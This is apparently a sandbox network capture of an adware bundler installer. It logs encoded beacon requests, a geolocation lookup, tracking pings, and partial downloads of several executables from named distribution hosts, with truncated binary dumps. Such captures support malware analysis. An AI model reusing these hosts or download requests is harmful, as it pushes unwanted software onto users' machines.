GET /22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaF K90vWg22jgTxIUcsgQ w9JTsKksJzkc9GdOcgDY83FHRy24uRaNd5D1mYH yQN7G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3ew7RHyUKK6IuJSmtxq56iWx73v0ShanfqglJnWRFsFlIZe3xkuNds HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaFteqZ6txLbCymF904v4t2Drf57lxgtZUO8SrVcKYQhP8obAwxzSCek2ATGx5ZDOfaXIo2IMa/hX6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tR0hDuzlZFdCYPPi3Zo1figDE8AtRh2XI58lM8JdMld5irOMBnstkejmnzicG6yEv4= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaGZkM9Y0jGVT9CUHeR8YCF3tFvvhGRpyzqCUH303iJt4veJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLKvDtE6jRZ3qvsUl7h5mV4z6i slsoGBMB6SEWAN/Wt24M5eQqfn5E= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaGw5VIziNxXAbPiCC4paVhdcdUGYiS9T3hWvLaCpauVc Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZWJ 5WHu5jG1PT3JZ27DUijjrCJCIYOXzARdXBD1JSeCgOypJPSGZW0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaHfpIi4FJmsuCmF904v4t2DMqrjxCw EkyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUdIQ7s5WRXQmDz4t2aNX4oAxPALUYdlyOfJTPCXTJXeYqzjAZ7LZHo5p84nBushL HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=uWabAt9SLcxB24VIjmhz1h0R8FZu6GaDY4EO8TvlT/WMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81OkRgwYRvOGYuJSmtxq56iWx73v0ShanfqglJnWRFsFrPMmulBbrouUeZLRmueCpr 7rPtSKe/ AIsHtC6ix/WrXIxNf6X/p9imua2CCuc c Scs327XoBKYX3Ti/i3YPU0Du1cPcKYLvc15CnxI 1VYiZEDqe9fJ6awisFjiQZiadgeg2 ZLTCPCxdK9RxUjpnxaWbehk4T87DWN0ju2aw Ml9V 5osOMQN4cka3W7AOxpFqMx/dgNK9ck8UNoW1cCzddFy80J9Ob7hYQlix0aoe2/agTRYhtk53Vn6HHwE8g4Yt1p46NH6wMvCefXXfa4AbUiuRjCdp8Ch1eJyoUxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux93sO0R8lCiuiLiUprcaueolse979EoWp36oJSZ1kRbBZSGXt8ZLjXbA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=uWabAt9SLcxB24VIjmhz1h0R8FZu6GaDY4EO8TvlT/WMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81OkRgwYRvOGYuJSmtxq56iWx73v0ShanfqglJnWRFsFrPMmulBbrouUeZLRmueCpr 7rPtSKe/ AIsHtC6ix/WrXIxNf6X/p9imua2CCuc REZP4WZMS1x0JQd5HxgIXdwgIjv 1CV6Nl6iMSCUoXjBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLHGIuOi8NF5gp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/WW/hePtCOfZ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=uWabAt9SLcxB24VIjmhz1h0R8FZu6GaDY4EO8TvlT/WMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81OkRgwYRvOGYuJSmtxq56iWx73v0ShanfqglJnWRFsFrPMmulBbrouUeZLRmueCpr 7rPtSKe/ AIsHtC6ix/WrXIxNf6X/p9imua2CCuc RFmggqVoiq4KYX3Ti/i3YOrZUJO2Bj2/OMlN/XaXrTy94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsq8O0TqNFneq xSXuHmZXjPqL76yWygYEwHpIRYA39a3bgzl5Cp fkQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:26 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=jJl6mEdycnTT6EXPOQXbtfHlB3qiz12uQF3UKsSdb2sRoGJKEMpEhX5dMiu8MPG0ciWZEfkXV7ZTC0rigrLizf4cdNw8aOYWoKyYoIbpn2WMVfl20iIArNSSaUQFDqWEnmP3t8anGDfBNsiUq8V7Jl JfVwpv1Wvy0vECgXcEntvc9SpJR4pwSmF904v4t2DIApimWCrqalV8LQmX6OGa/Z7qdg7Xwz6xEf5MEiWUmv3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0Zhyyrw7ROo0Wd6r7FJe4eZleM ovvrJbKBgTAekhFgDf1rduDOXkKn5 R HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:26 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GET / HTTP/1.1

Host: ipgeoapi.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:36:01 GMT

Connection: keep-alive

Content-Type: application/json;charset=utf-8

Content-Length: 40

Server: thin 1.4.1 codename Chromeo

Via: 1.1 vegur

{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Sat, 18
 Apr 2015 07:36:01 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d3dl09kxmzkap.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 12 Apr 2015 05:26:44 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 2036

X-Cache: Hit from cloudfront

Via: 1.1 38342e76ee3a325e32291f04943992d6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 9Xv4GGsRGzbp_JpOPQU-0NufnGHEC65lJP8JmkVbB99kaseJzBJpBQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429342568 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: k2MOEYXk uYi8ERwvkzcTKmJRNvlmC65FkFyc DO5/O2ovX9e8f8FdnkoNQSGCeaPqszy 1UoTk=

x-amz-request-id: F3461246FDB85430

Date: Sat, 18 Apr 2015 07:36:09 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429342568 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: gyai MDoetsvl P6sV3t9epSQQfI4Ji6gh5UM0hnna hq0fDcF/MsgE/Er6uuPgWXjGGpwIGCzk=

x-amz-request-id: A7B3D0094CEF4765

Date: Sat, 18 Apr 2015 07:36:09 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429342568 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: Y/yaELQa Xw24KjZ02mcX2f8HcmZX4Uhio64QbjnBdaq08 GXy4HUxnngnLEE48UHg66dALXZqU=

x-amz-request-id: 2D3B3C931CFEF8DF

Date: Sat, 18 Apr 2015 07:36:09 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Y/yaEL
Qa Xw24KjZ02mcX2f8HcmZX4Uhio64QbjnBdaq08 GXy4HUxnngnLEE48UHg66dALXZqU=
..x-amz-request-id: 2D3B3C931CFEF8DF..Date: Sat, 18 Apr 2015 07:36:09 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429342570 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: FrRZcZMQeze5oqHhYhfVlpP 0wJ2LoLCqq1xICYlSVJ7SvAz74/8E1MjDThl6YnRZSZszwjtlIM=

x-amz-request-id: FFEC24A50FF5ADD7

Date: Sat, 18 Apr 2015 07:36:11 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1429342570 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: x/dIk6vBXZjcer95/PP1qb/hepcVUPS9r1IZyxelp/USxHmGVe puP4nT9t0WoYagZjCxnn6eKg=

x-amz-request-id: 16FC1EA85BEC2A9C

Date: Sat, 18 Apr 2015 07:36:11 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: x/dIk6
vBXZjcer95/PP1qb/hepcVUPS9r1IZyxelp/USxHmGVe puP4nT9t0WoYagZjCxnn6eKg=
..x-amz-request-id: 16FC1EA85BEC2A9C..Date: Sat, 18 Apr 2015 07:36:11 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sun, 19 Apr 2015 07:34:34 GMT

Date: Sat, 18 Apr 2015 07:34:34 GMT

Content-Range: bytes 0-523231/523232

Content-Length: 523232

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. .......&.......................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /webplayer/appshat/config.json HTTP/1.1

Accept: */*

If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT

Cache-Control: max-age=0

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:31 GMT

Content-Type: application/json

Content-Length: 778

Last-Modified: Mon, 27 Jan 2014 15:16:30 GMT

Connection: close

ETag: "52e6784e-30a"

Accept-Ranges: bytes

{.."group-name": "AppsHat",.."program-name": "AppsHat",.."about-text":
 "Apps Hat\n(c) 2013 Somoto Ltd. All rights reserved\n\nTerms and Cond
itions:\nhXXp://VVV.appshat.com/eula/ahd\n\nPrivacy Policy:\nhXXp://ww
w.appshat.com/privacy/ahd",.."title-icon": "hXXp://VVV.appshat.com/ima
ges/16x16.ico",.."tray-icon": "hXXp://VVV.appshat.com/images/16x16.ico
",.."shortcut-icon": "hXXp://VVV.appshat.com/images/64x64.ico",.."unin
stall": "Apps Hat",.."url": "hXXp://VVV.appshat.com/home",.."width": 1
024,.."height": 795,.."cache": 86400,.."alwaysontop": false,.."program
-version": "2.13",.."start-on-windows": true,.."title": "Apps Hat",.."
tooltip": "Apps Hat",.."minimized": true,.."update-url" : "hXXp://VVV.
bigspeedpro.com/mirror/nerocrossrider/appshatmini/appshatmini_update.e
xe"..}....

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=335664-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:36 GMT

Content-Type: application/octet-stream

Content-Length: 335664

Last-Modified: Wed, 15 Apr 2015 07:16:46 GMT

Connection: keep-alive

Expires: Tue, 21 Apr 2015 07:34:36 GMT

Cache-Control: max-age=259200

Content-Range: bytes 335664-671327/671328
..M.u..C.PWj.Q..;.......M.....E...;..}..t)[email protected]....;..._
^[..].3.......E._^[..]....V......Q...............t.Q..h..G.Q.........7
...^......^.........V........Q............W..(......t.Sh..G.Q.b......_
.7...^..O..A..G...t......_^.h..G.......h..G.R............u..B.........
._^.......W3...b...t.Qh..G.P.........7..._.............QRP..G..j.j.j.j
.j.j.j.V..j....,3........_........U..3..}.....t..8...3........]...U...
..SW.}...8......T............E..M..E.....u..l..._[..]..{..t.S........_
[..].V.M..U.R.E.PSQ............uk.{8..M.t....t..U........M...tM.C8H...
.......$...E..........QW.S..........u ..8..........t.S............z...
..^_[..]......(.................V.....QW..............................
`.....Q............3....H....y....I.m-E.v-E..-E..-E..-E..-E..-E..-E..-
E..-E..-E.....V.0Wj.j.3.....H......(......G.t..._^............U.....SV
.u...W..(...3..}.....6...9.,.....*....M...t..................9.p......
...9.,.........9.D.........9_.u ............t.h..G.....H........h..G..
...H.............u._^.C.[..]...T....U.RWSPV.L.......E...t.S....H..E...
._^[..]..E.;.t....... ................l...S.. .....$.......H..........
............}....G...t.P....H.....G..........._^..[..]._^3.[..].U..V..
....$......(...t...............D....Q...,....t...D....t.V.............
....u.WV.w/.........U......^].......U...}..V.u.W......u .G,..t........
t........u........W......GTPV.|[email protected]@...._3.^]....
........U..V.u.W.}.VW..........u.9.t..._^]..0.._^]......U..QV.3Wj.....
.j.V.FP.FT..B..j.j.V..B..j.j.V..C..j.j.V..B...E.P.........4..u.9.t<<< skipped >>>

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=167832-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:36 GMT

Content-Type: application/octet-stream

Content-Length: 503496

Last-Modified: Wed, 15 Apr 2015 07:16:46 GMT

Connection: keep-alive

Expires: Tue, 21 Apr 2015 07:34:36 GMT

Cache-Control: max-age=259200

Content-Range: bytes 167832-671327/671328
...}..u..x&.........._.....].V.u...u..[&..........^........u......Y...
.#.....V.;.t.3.^]...U...}..u...&..........^.....]..E...t.j..p..0.u....
.....].j.h..H..9z...e..3..u........u...%.........l^...........]....t..
[email protected]...@u..}..G.=....v....}.....u.V.....Y.e..V.....V.....YY.f..
....N....t.....F.j._.-.E...u W..#..Y..u.....H..M.....N..............N.
.~..F....f...E...........E...y....u..{...Y...U...=..H..u..lx...u...v..
h......s..YY][email protected]
..u..6.<.@[email protected][email protected][email protected][email protected]....
u.j..S...Y.......u.j..B...Y.3....u........y.j...u..Y..TpG....I........
.H........y.j...u..Y.......y.j..~u..Yj..Us..Y;.t.P.ku..Y.R....E..t...M
...j.YQPVh..@..|....E.9u.u.P..t....u.....E......M.PQ.....YY..e..E..E..
}..u.P..t....t...E......E...w...............U.... .E.VWj.Y..vG..}....E
..E._.E.^[email protected]$.......t$.......
tN......u........$......$..........~.....3.........t..A...t2..t$.....t
......t....A..L$. ...A..L$. ...A..L$. ...A..L$. .......U..WV.u..M..}..
.....;.v.;.............r..=..I..t.WV......;.^_u...I........u..........
r)...$...B...........r.......$.$.B..$. .B...$...B..4.B.`.B...B.#......
F..G..F.....G..........r....$...B..I.#......F.....G..........r....$...
B..#.................r....$...B..I...B...B...B...B...B...B...B...B..D.
..D...D...D...D...D...D...D...D...D...D...D...D...D..............$...B
... .B.(.B.4.B.H.B..E.^_........E.^_........F..G..E.^_...I......F..G..
F..G..E.^_....t1..|9.......u$.........r......$...B......$.\.B..I..<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=e69ff47f-8242-4caa-8a5f-5c30eea4cf27&Password=EsmWimui&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429342543&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=3uthqkrugtpfvc55m33nfb55


HTTP/1.1 200 OK

Connection: close

Date: Sat, 18 Apr 2015 07:35:44 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 44
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=35695-

User-Agent: Better Installer(Mozilla)

Host: d3dl09kxmzkap.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 249863

Connection: keep-alive

Date: Sun, 12 Apr 2015 05:26:44 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 35695-285557/285558

Age: 2036

X-Cache: Hit from cloudfront

Via: 1.1 170c81df2c0c1daa451f0cfcd8986c43.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 1GBMV09DC_KadkxI1VxJxGTUM6maYNHN8PlBNocwDg0BvtDKnIj9Kg==
[email protected].>>>.555.,,,.&&%.!!!.............
....................$"".)''..,,.200./--.*((.866.QOP.qpp....=..........
......................................................................
........................................776.........%##.=<<.ecc.
............ihf.OON.>>>.444.   .&%%.#!!......................
...........%##.,'(.0...100. )).-  .@>>.XVW.~}|..................
......................................................................
.....................................AA@.   .....&$$.<::._]].......
......kih.POO.>>>.444.   .%%%.#!!............................
.#%%.''&.-)).1...0//.*((.200.HFF.`^^..................................
......................................................................
........................_JJI.##$.....##$.<<<._^^.............
kih.POO.>>>.444.   .%%%.!  .........................!!!.$&%.(
((.-**.3.0./--.*((.644.LJJ.ecc....k...................................
......................................................................
..................9UVU.&&&.....!!!.999.___.............lki.PPO.>>
;>.555.,,,.&''.!##..  ......................  ."&%.())./ ,.4/0./  .
 )).:88.RPP.hee....3..................................................
......................................................................
...!`_^.,  .....   .444.YYY.............kmi.OQN.>>>.545., ,.&
%&.#!#.......................... ..#"!.)&&./,-.310.,)(.-**.><<
;.SRR.nnm.........................................................<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:32 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429323948"

Last-Modified: Sat, 18 Apr 2015 02:25:48 GMT

Cache-Control: max-age=3027

Content-Length: 250000

Content-Range: bytes 0-249999/11078841

Content-Type: application/x-msdownload

X-HW: 1429342533.dop002.fr7.t,1429342532.cds023.fr7.c

Content-Disposition: attachment; filename="iweb.exe"

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@..........................`
......./........ ..............................p..........(C..........
......................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]........... [email protected]...(C.
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
